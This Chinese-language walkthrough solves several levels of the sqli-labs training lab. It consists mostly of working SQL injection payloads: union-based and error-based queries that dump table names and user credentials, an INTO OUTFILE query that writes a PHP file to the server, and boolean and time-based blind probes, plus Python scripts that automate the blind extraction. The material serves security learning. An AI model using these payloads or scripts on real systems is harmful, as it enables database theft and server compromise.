第一关(联合查询)
打开页面可以看到我们需要输入一个id,那么试着来传入id=1看看
可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入
判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:
?id=1' order by 3--+
?id=1' order by 4--+
从上面两中方式都可以判断出数据库是有3列的
然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列
从显示结果可以看到,这里的name是第2列,password是第3列。
那么现在就可以从第2列或者第3列查询出数据库名称,用户名称:
?id=-1' union select 1,database(),user() --
现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+
第五关 报错注入
那么我们可以来尝试查询一下数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+
但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
注:这里如说使用updatexml来查询表中数据时,会出现查询数据不完整的问题,
解决方案:
这里我们可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置:
payload:
and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+
第七关
这一关与前面两关是有点不同的,那么先来试试看是否可以闭合报错
最后发现需要闭合'))
可以使用上面的报错注入函数尝试注入一下:
id=1')) and updatexml(1,concat(0x7e,databse(),0x7e),3)--
但是却并没有注入出,而是告诉我 有语法错误
当我们输入为id=1时,结果是这样的:
那么我觉得页面提示的应该有用的,可以使用输入/输出文件
这里就要再扩展一些知识点了:
1、show variables like '%secure%';
使用上面这个命令可以查看 secure-file-priv 当前的值,如果显示为NULL,则需要将其设置为物理服务器地址路径/路径设置为空,才可以导出文件到指定位置
2、into outfile 写文件 用法: select 'mysql is very good' into outfile 'test1.txt‘;
这里想要成功实现需要同时满足三个条件:权限为root、知道网站的物理路径、secure_file_priv=空
假设这些条件我们都满足那么我们就可以尝试使用这样一种方式来将一个php文件来写入到服务的目录中:
?id=1')) union select 1,"<?phpinfo();?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+
但是可以看到这里页面却显示有语法错误,这里的原因就是上面查询到的secure_file_priv字段的值为NULL,Mysql规定这个值为NULL,则不允许进行文件导入导出操作,因此现在我们来将该值修改为空
可以看到,还是语法错误,但是当我去对应目录下看时,发现aaa.php已经创建了
然后我们可以尝试访问一下该文件
第八关 布尔盲注
如果传入的id为1,则会显示:
针对这种的显示,无论是联合查询哈市报错注入都无法注入成功的,这里就要使用布尔盲注了,这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入:
?id=1' and (select length(database())>1) and 1=1 --+ true
?id=1' and (select length(database())>10) and 1=1 --+ flase
?id=1' and (select length(database())>5) and 1=1 --+ true
?id=1' and (select length(database())>6) and 1=1 --+ true
?id=1' and (select length(database())>8) and 1=1 --+ flase
通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7,得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称,比如:
?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ false
根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”。
使用python脚本
注入出数据库名
脚本:
import requests
url = "http://127.0.0.1/sqli-labs/Less-8/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
params = {"id": payload}
r = requests.get(url, params=params)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
第9关(时间盲注)
这一关也是比较奇怪的一关,不管我们是闭合还是正常的查询,结果始终都是不变的,这种情况布尔盲注也无法解决,只能使用时间盲注了,时间盲注就是观察页面的页面响应时间来逐个判断出数据库的各个信息
手工注入
因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断
if的语法三元运算符函数
语法:IF(condition, value_if_true, value_if_false)
condition是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。
那么可以利用这一点来进行时间盲注
?id=1' and if(length(database())=1,sleep(5),1)--+ 延时
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+ 延时
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常
可以看到这里可以注入出数据库的长度是7,然后就是使用ascii+sleep来注入出数据库的名称
?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常
...
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延时
使用python脚本
注入出数据库名
import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-8/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid)
params = {"id": payload}
start_time = time.time() # 注入前的系统时间
r = requests.get(url, params=params)
end_time = time.time() # 注入后的时间
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
第11关(POST)
现在来到了都11关,这一关看起来和前面的都不同,数据的提交方式从GET变成了POST
但是既然是SQL注入,那么一定还是会在username/password中存在可以注入的点的了,那么来试试尝试闭合一下看是否会报错:
可以看到,这里报错了,那么说明存在SQL注入
但是因为这里是POST方式提交的,不能直接修改,这里有三种选择
1、使用可以POST提交的插件,例如Firefox中的HackBar
2、使用Burpsuite抓包后,然后修改
3、直接在输入框中注入
这里我就使用抓包的方式来修改,现在随便输入用户名和密码,然后使用BP抓包:
从结果可以看懂,这里我们输入的用户名和密码属于第一列和第2列,因此我们可以看看是否可以查询到数据库的名称:
可以看到数据库名称成功的查询了出来,那么后面就可以使用前面联合查询使用到的payload
分别查询表名,列名,数据了:
查询表名:
查询列名:
查询数据: